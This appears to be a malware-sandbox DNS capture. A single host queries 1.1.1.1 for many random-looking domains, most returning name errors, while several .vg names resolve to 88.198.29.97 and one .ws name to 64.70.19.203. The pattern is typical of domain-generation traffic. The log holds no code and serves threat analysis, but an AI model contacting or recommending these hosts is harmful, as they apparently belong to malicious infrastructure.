Sep 7, 2024 15:32:06.239047050 CEST	1.1.1.1	192.168.2.7	0xeb6b	Name error (3)	frseecqarb.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:06.354748964 CEST	1.1.1.1	192.168.2.7	0x42b5	No error (0)	aogmlobkrhuib.vg		88.198.29.97	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:06.467127085 CEST	1.1.1.1	192.168.2.7	0x1801	Name error (3)	yjakakyfs.nu	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:06.481641054 CEST	1.1.1.1	192.168.2.7	0x9308	Name error (3)	yjakakyfs.nu	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:06.598078966 CEST	1.1.1.1	192.168.2.7	0x2c28	Name error (3)	rsomhsdkimmjbe.st	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:06.638823986 CEST	1.1.1.1	192.168.2.7	0x6b38	Name error (3)	rsomhsdkimmjbe.st	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:06.826462030 CEST	1.1.1.1	192.168.2.7	0x9ab3	Name error (3)	amuyqogtwaf.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:06.931291103 CEST	1.1.1.1	192.168.2.7	0xe2ee	Name error (3)	amuyqogtwaf.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:07.865001917 CEST	1.1.1.1	192.168.2.7	0xf264	Name error (3)	uupadxmfeug.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:07.865243912 CEST	1.1.1.1	192.168.2.7	0xf264	Name error (3)	uupadxmfeug.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:07.975577116 CEST	1.1.1.1	192.168.2.7	0x88ba	Name error (3)	uupadxmfeug.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:08.104839087 CEST	1.1.1.1	192.168.2.7	0xaf2c	Name error (3)	kmicexyr.st	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:08.154211044 CEST	1.1.1.1	192.168.2.7	0x9aac	Name error (3)	kmicexyr.st	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:08.265775919 CEST	1.1.1.1	192.168.2.7	0x5b78	Name error (3)	oogfzxcq.nu	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:08.292057037 CEST	1.1.1.1	192.168.2.7	0x947d	Name error (3)	oogfzxcq.nu	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:08.419547081 CEST	1.1.1.1	192.168.2.7	0x6588	Name error (3)	etcsukiwxdt.st	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:08.455075979 CEST	1.1.1.1	192.168.2.7	0xa727	Name error (3)	etcsukiwxdt.st	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:08.563321114 CEST	1.1.1.1	192.168.2.7	0x866f	No error (0)	esiqooistio.vg		88.198.29.97	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:08.953084946 CEST	1.1.1.1	192.168.2.7	0x2fd9	Name error (3)	skvramqimqumui.st	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:09.230818987 CEST	1.1.1.1	192.168.2.7	0xd96c	Name error (3)	skvramqimqumui.st	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:09.234078884 CEST	1.1.1.1	192.168.2.7	0xd96c	Name error (3)	skvramqimqumui.st	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:09.333446026 CEST	1.1.1.1	192.168.2.7	0xa7ed	Name error (3)	otsafym.nu	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:09.399985075 CEST	1.1.1.1	192.168.2.7	0x9abe	Name error (3)	otsafym.nu	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:09.726914883 CEST	1.1.1.1	192.168.2.7	0x31c1	Name error (3)	xioywow.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:09.992676973 CEST	1.1.1.1	192.168.2.7	0x1c94	Name error (3)	xioywow.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:10.421155930 CEST	1.1.1.1	192.168.2.7	0x7e9f	Name error (3)	pbauwvnqjx.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:10.421176910 CEST	1.1.1.1	192.168.2.7	0x7e9f	Name error (3)	pbauwvnqjx.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:10.532794952 CEST	1.1.1.1	192.168.2.7	0x6061	Name error (3)	pbauwvnqjx.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:10.651937962 CEST	1.1.1.1	192.168.2.7	0x976c	Name error (3)	qkbbuslb.st	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:10.683523893 CEST	1.1.1.1	192.168.2.7	0x9cda	Name error (3)	qkbbuslb.st	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:10.879194021 CEST	1.1.1.1	192.168.2.7	0xded7	Name error (3)	ygzkiqfepypu.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:11.121184111 CEST	1.1.1.1	192.168.2.7	0x5d6d	Name error (3)	ygzkiqfepypu.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:11.221256971 CEST	1.1.1.1	192.168.2.7	0xf59	Name error (3)	gxgwclvdoiu.nu	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:11.239382982 CEST	1.1.1.1	192.168.2.7	0xdd0	Name error (3)	gxgwclvdoiu.nu	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:11.348918915 CEST	1.1.1.1	192.168.2.7	0xfa5f	Name error (3)	wscucewivw.pw	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:11.374533892 CEST	1.1.1.1	192.168.2.7	0x2fd3	Name error (3)	wscucewivw.pw	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:11.564791918 CEST	1.1.1.1	192.168.2.7	0x61fe	Name error (3)	ymhkiogycuk.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:11.668251038 CEST	1.1.1.1	192.168.2.7	0x46c8	Name error (3)	ymhkiogycuk.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:11.855570078 CEST	1.1.1.1	192.168.2.7	0x5b52	Name error (3)	mecaqeuikgqb.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:12.096509933 CEST	1.1.1.1	192.168.2.7	0x68	Name error (3)	mecaqeuikgqb.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:12.274313927 CEST	1.1.1.1	192.168.2.7	0x7e33	Name error (3)	kmewiipsrvgjfl.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:13.104125023 CEST	1.1.1.1	192.168.2.7	0xdcf3	Name error (3)	kmewiipsrvgjfl.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:13.104149103 CEST	1.1.1.1	192.168.2.7	0xdcf3	Name error (3)	kmewiipsrvgjfl.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:13.204972029 CEST	1.1.1.1	192.168.2.7	0xbce1	Name error (3)	peogwkjqii.museum	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:13.222315073 CEST	1.1.1.1	192.168.2.7	0xb6c3	Name error (3)	peogwkjqii.museum	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:13.337485075 CEST	1.1.1.1	192.168.2.7	0xef3e	Name error (3)	xgotixwyk.st	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:13.615317106 CEST	1.1.1.1	192.168.2.7	0x3aec	Name error (3)	xgotixwyk.st	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:13.621634007 CEST	1.1.1.1	192.168.2.7	0x3aec	Name error (3)	xgotixwyk.st	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:13.935642004 CEST	1.1.1.1	192.168.2.7	0xfd8	Name error (3)	iutseaqobugnc.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:14.044895887 CEST	1.1.1.1	192.168.2.7	0xff97	Name error (3)	iutseaqobugnc.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:14.140163898 CEST	1.1.1.1	192.168.2.7	0xf769	Name error (3)	eywpeln.nu	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:14.167586088 CEST	1.1.1.1	192.168.2.7	0xa298	Name error (3)	eywpeln.nu	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:14.331517935 CEST	1.1.1.1	192.168.2.7	0x4d78	No error (0)	gudjrnqeeeg.vg		88.198.29.97	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:14.367932081 CEST	1.1.1.1	192.168.2.7	0xfe08	Name error (3)	unmomis.biz	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:14.385059118 CEST	1.1.1.1	192.168.2.7	0x5413	Name error (3)	unmomis.biz	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:14.764873981 CEST	1.1.1.1	192.168.2.7	0x81ec	Name error (3)	yiiotaq.st	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:14.764993906 CEST	1.1.1.1	192.168.2.7	0x81ec	Name error (3)	yiiotaq.st	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:14.812571049 CEST	1.1.1.1	192.168.2.7	0x2192	Name error (3)	yiiotaq.st	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:14.908864021 CEST	1.1.1.1	192.168.2.7	0x26e2	Name error (3)	iokpgeqqqg.pw	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:14.928296089 CEST	1.1.1.1	192.168.2.7	0xa154	Name error (3)	iokpgeqqqg.pw	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:15.023356915 CEST	1.1.1.1	192.168.2.7	0x6aa6	No error (0)	swnalczejnim.vg		88.198.29.97	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:15.175426006 CEST	1.1.1.1	192.168.2.7	0x6f59	Name error (3)	gyuctmnqodcuxr.museum	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:15.550735950 CEST	1.1.1.1	192.168.2.7	0xc3a9	Name error (3)	gyuctmnqodcuxr.museum	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:15.550808907 CEST	1.1.1.1	192.168.2.7	0xc3a9	Name error (3)	gyuctmnqodcuxr.museum	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:16.467225075 CEST	1.1.1.1	192.168.2.7	0x5003	Name error (3)	entwowfsvqchd.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:17.910557985 CEST	1.1.1.1	192.168.2.7	0x32a	Name error (3)	entwowfsvqchd.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:17.910577059 CEST	1.1.1.1	192.168.2.7	0x32a	Name error (3)	entwowfsvqchd.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:17.999418020 CEST	1.1.1.1	192.168.2.7	0x6530	No error (0)	scmkkkslv.vg		88.198.29.97	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:18.342639923 CEST	1.1.1.1	192.168.2.7	0x2bc8	Name error (3)	kigyaiv.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:19.186152935 CEST	1.1.1.1	192.168.2.7	0x36b2	Name error (3)	kigyaiv.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:19.188476086 CEST	1.1.1.1	192.168.2.7	0x36b2	Name error (3)	kigyaiv.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:19.614640951 CEST	1.1.1.1	192.168.2.7	0x7980	Name error (3)	oqkfrftagqq.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:20.403997898 CEST	1.1.1.1	192.168.2.7	0xd437	Name error (3)	oqkfrftagqq.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:20.782289028 CEST	1.1.1.1	192.168.2.7	0x16	Name error (3)	upvkkseok.st	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:20.821070910 CEST	1.1.1.1	192.168.2.7	0xbef1	Name error (3)	upvkkseok.st	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:21.147892952 CEST	1.1.1.1	192.168.2.7	0x17be	Name error (3)	amumxig.tk	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:21.316421032 CEST	1.1.1.1	192.168.2.7	0x2e88	Name error (3)	amumxig.tk	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:21.407270908 CEST	1.1.1.1	192.168.2.7	0x348d	Name error (3)	nwkget.nu	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:21.421730042 CEST	1.1.1.1	192.168.2.7	0x6f1	Name error (3)	nwkget.nu	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:21.518335104 CEST	1.1.1.1	192.168.2.7	0x7bb7	Name error (3)	ytaygkyiuekog.nu	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:21.560848951 CEST	1.1.1.1	192.168.2.7	0xeb0a	Name error (3)	ytaygkyiuekog.nu	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:21.669743061 CEST	1.1.1.1	192.168.2.7	0x1404	No error (0)	eoxiwmcl.vg		88.198.29.97	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:21.705533981 CEST	1.1.1.1	192.168.2.7	0x42d	Name error (3)	unmomis.biz	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:21.741225958 CEST	1.1.1.1	192.168.2.7	0x3869	Name error (3)	unmomis.biz	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:21.922122955 CEST	1.1.1.1	192.168.2.7	0xeb8a	Name error (3)	mirazghiwzheu.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:22.031800985 CEST	1.1.1.1	192.168.2.7	0x2b9e	Name error (3)	mirazghiwzheu.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:22.152739048 CEST	1.1.1.1	192.168.2.7	0x3288	No error (0)	ichiqobl.ws		64.70.19.203	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:22.265516996 CEST	1.1.1.1	192.168.2.7	0x571e	Name error (3)	tururiw.museum	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:22.285092115 CEST	1.1.1.1	192.168.2.7	0xfd06	Name error (3)	tururiw.museum	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:22.919117928 CEST	1.1.1.1	192.168.2.7	0x553b	Name error (3)	kbflj.st	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:22.928088903 CEST	1.1.1.1	192.168.2.7	0x553b	Name error (3)	kbflj.st	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:22.960328102 CEST	1.1.1.1	192.168.2.7	0xe107	Name error (3)	kbflj.st	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:23.212217093 CEST	1.1.1.1	192.168.2.7	0xd325	Name error (3)	yriaocg.tk	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:23.382780075 CEST	1.1.1.1	192.168.2.7	0xd601	Name error (3)	yriaocg.tk	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:23.720171928 CEST	1.1.1.1	192.168.2.7	0x3faa	Name error (3)	wswdpayykae.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:23.918745041 CEST	1.1.1.1	192.168.2.7	0x9693	Name error (3)	wswdpayykae.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:24.234949112 CEST	1.1.1.1	192.168.2.7	0x27a0	Name error (3)	kqspurevcafdh.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:24.335536957 CEST	1.1.1.1	192.168.2.7	0x14bb	Name error (3)	kqspurevcafdh.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:24.758671999 CEST	1.1.1.1	192.168.2.7	0xf30a	Name error (3)	cpsukke.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:24.758900881 CEST	1.1.1.1	192.168.2.7	0xf30a	Name error (3)	cpsukke.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:25.042916059 CEST	1.1.1.1	192.168.2.7	0x6b39	Name error (3)	cpsukke.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:25.125056028 CEST	1.1.1.1	192.168.2.7	0x32ec	Name error (3)	kuwovhxyeqlit.nu	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:25.158519983 CEST	1.1.1.1	192.168.2.7	0x943	Name error (3)	kuwovhxyeqlit.nu	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:25.283832073 CEST	1.1.1.1	192.168.2.7	0xe976	Name error (3)	kwcuuglkq.st	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:25.319889069 CEST	1.1.1.1	192.168.2.7	0x4542	Name error (3)	kwcuuglkq.st	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:25.632443905 CEST	1.1.1.1	192.168.2.7	0xfb43	Name error (3)	ylaqpebuwzms.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:25.871567965 CEST	1.1.1.1	192.168.2.7	0xbabd	Name error (3)	ylaqpebuwzms.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:25.986000061 CEST	1.1.1.1	192.168.2.7	0x8210	Name error (3)	qwaoq.nu	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:25.997831106 CEST	1.1.1.1	192.168.2.7	0xe93b	Name error (3)	qwaoq.nu	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:26.120379925 CEST	1.1.1.1	192.168.2.7	0xb0f6	Name error (3)	lkaqbviwa.nu	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:26.138885021 CEST	1.1.1.1	192.168.2.7	0x7742	Name error (3)	lkaqbviwa.nu	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:26.249929905 CEST	1.1.1.1	192.168.2.7	0x9eb9	Name error (3)	qaxqissemas.st	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:26.536536932 CEST	1.1.1.1	192.168.2.7	0x2c66	Name error (3)	qaxqissemas.st	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:26.539999962 CEST	1.1.1.1	192.168.2.7	0x2c66	Name error (3)	qaxqissemas.st	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:26.646331072 CEST	1.1.1.1	192.168.2.7	0xb334	Name error (3)	wuzsnuxgqwgsfq.st	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:26.684848070 CEST	1.1.1.1	192.168.2.7	0x3d9d	Name error (3)	wuzsnuxgqwgsfq.st	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:26.859077930 CEST	1.1.1.1	192.168.2.7	0xcbf8	Name error (3)	aaajkieirqn.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:26.973360062 CEST	1.1.1.1	192.168.2.7	0xea58	Name error (3)	aaajkieirqn.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:27.067665100 CEST	1.1.1.1	192.168.2.7	0xa22e	No error (0)	gkewcyrniuqqg.vg		88.198.29.97	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:27.091264009 CEST	1.1.1.1	192.168.2.7	0x2878	Name error (3)	unmomis.biz	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:27.111484051 CEST	1.1.1.1	192.168.2.7	0x8213	Name error (3)	unmomis.biz	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:27.416383982 CEST	1.1.1.1	192.168.2.7	0x3b9	Name error (3)	mcsme.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:27.517481089 CEST	1.1.1.1	192.168.2.7	0x8590	Name error (3)	mcsme.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:27.926192045 CEST	1.1.1.1	192.168.2.7	0xac9a	Name error (3)	lszuguwegape.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:27.926227093 CEST	1.1.1.1	192.168.2.7	0xac9a	Name error (3)	lszuguwegape.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:28.039954901 CEST	1.1.1.1	192.168.2.7	0x8e1e	Name error (3)	lszuguwegape.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:28.145046949 CEST	1.1.1.1	192.168.2.7	0xf450	Name error (3)	gmacgsmzs.st	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:28.185847044 CEST	1.1.1.1	192.168.2.7	0x571f	Name error (3)	gmacgsmzs.st	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:28.269007921 CEST	1.1.1.1	192.168.2.7	0xd059	No error (0)	legxqqa.vg		88.198.29.97	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:28.531814098 CEST	1.1.1.1	192.168.2.7	0xc3a0	Name error (3)	eychnhikayq.tk	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:28.792162895 CEST	1.1.1.1	192.168.2.7	0x2e5c	Name error (3)	eychnhikayq.tk	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:29.151246071 CEST	1.1.1.1	192.168.2.7	0x29f	Name error (3)	cshsxz.st	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:29.153383017 CEST	1.1.1.1	192.168.2.7	0x29f	Name error (3)	cshsxz.st	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:29.428581953 CEST	1.1.1.1	192.168.2.7	0xc1e3	Name error (3)	cshsxz.st	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:29.433806896 CEST	1.1.1.1	192.168.2.7	0xc1e3	Name error (3)	cshsxz.st	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:29.609989882 CEST	1.1.1.1	192.168.2.7	0x2564	Name error (3)	rmyyrqzoyqrzn.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:29.735894918 CEST	1.1.1.1	192.168.2.7	0xbd94	Name error (3)	rmyyrqzoyqrzn.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:30.042671919 CEST	1.1.1.1	192.168.2.7	0x6986	Name error (3)	gvletfndkecak.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:30.152609110 CEST	1.1.1.1	192.168.2.7	0xf97a	Name error (3)	gvletfndkecak.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:30.257419109 CEST	1.1.1.1	192.168.2.7	0x65cc	Name error (3)	ucntubnec.st	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:30.302016020 CEST	1.1.1.1	192.168.2.7	0x19fa	Name error (3)	ucntubnec.st	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:30.476579905 CEST	1.1.1.1	192.168.2.7	0x3ac8	Name error (3)	kdeumql.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:31.472966909 CEST	1.1.1.1	192.168.2.7	0xc8f2	Name error (3)	kdeumql.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:31.473047018 CEST	1.1.1.1	192.168.2.7	0xc8f2	Name error (3)	kdeumql.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:31.567339897 CEST	1.1.1.1	192.168.2.7	0xf8e5	Name error (3)	lhzyzzuuilgab.pw	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:31.581646919 CEST	1.1.1.1	192.168.2.7	0xac7a	Name error (3)	lhzyzzuuilgab.pw	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:31.664762974 CEST	1.1.1.1	192.168.2.7	0x6cf2	No error (0)	bedcmatyd.vg		88.198.29.97	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:31.709964037 CEST	1.1.1.1	192.168.2.7	0x83f5	Name error (3)	unmomis.biz	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:31.724235058 CEST	1.1.1.1	192.168.2.7	0x6f39	Name error (3)	unmomis.biz	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:31.848849058 CEST	1.1.1.1	192.168.2.7	0x8194	Name error (3)	spueu.st	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:31.892067909 CEST	1.1.1.1	192.168.2.7	0x6ac0	Name error (3)	spueu.st	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:31.991940022 CEST	1.1.1.1	192.168.2.7	0x810b	Name error (3)	zeyiiqcjudu.st	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:32.024519920 CEST	1.1.1.1	192.168.2.7	0x5603	Name error (3)	zeyiiqcjudu.st	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:32.285188913 CEST	1.1.1.1	192.168.2.7	0x39ea	Name error (3)	kuseayqsaa.tk	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:32.556576967 CEST	1.1.1.1	192.168.2.7	0x127a	Name error (3)	kuseayqsaa.tk	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:32.643296003 CEST	1.1.1.1	192.168.2.7	0x41ea	Name error (3)	olamnewqesk.pw	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:32.669980049 CEST	1.1.1.1	192.168.2.7	0x2317	Name error (3)	olamnewqesk.pw	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:32.753726006 CEST	1.1.1.1	192.168.2.7	0xdbf3	Name error (3)	iwvmknkqlcwdpu.nu	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:32.767570019 CEST	1.1.1.1	192.168.2.7	0x7476	Name error (3)	iwvmknkqlcwdpu.nu	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:33.074198961 CEST	1.1.1.1	192.168.2.7	0xb202	Name error (3)	sodefbuwgjt.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:33.318439007 CEST	1.1.1.1	192.168.2.7	0x2fe0	Name error (3)	sodefbuwgjt.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:33.654239893 CEST	1.1.1.1	192.168.2.7	0x33a	Name error (3)	crsvs.st	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:33.699465990 CEST	1.1.1.1	192.168.2.7	0xb47	Name error (3)	crsvs.st	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:33.786534071 CEST	1.1.1.1	192.168.2.7	0x379e	No error (0)	sooyqhceeuw.vg		88.198.29.97	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:33.891592979 CEST	1.1.1.1	192.168.2.7	0x3322	Name error (3)	sicjrco.nu	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:33.930830002 CEST	1.1.1.1	192.168.2.7	0xc332	Name error (3)	sicjrco.nu	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:34.017257929 CEST	1.1.1.1	192.168.2.7	0x655f	Name error (3)	mawkmugiuym.pw	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:34.032365084 CEST	1.1.1.1	192.168.2.7	0x974d	Name error (3)	mawkmugiuym.pw	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:34.369596004 CEST	1.1.1.1	192.168.2.7	0x463c	Name error (3)	ilgewoo.st	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:34.405033112 CEST	1.1.1.1	192.168.2.7	0xdbaf	Name error (3)	ilgewoo.st	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:34.576384068 CEST	1.1.1.1	192.168.2.7	0x7b3d	Name error (3)	euuom.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:34.926549911 CEST	1.1.1.1	192.168.2.7	0x202c	Name error (3)	euuom.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:35.627530098 CEST	1.1.1.1	192.168.2.7	0xeec4	Name error (3)	scawmtgknkecj.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:35.871779919 CEST	1.1.1.1	192.168.2.7	0x42cd	Name error (3)	scawmtgknkecj.mp	none	none	A (IP address)	IN (0x0001)	false
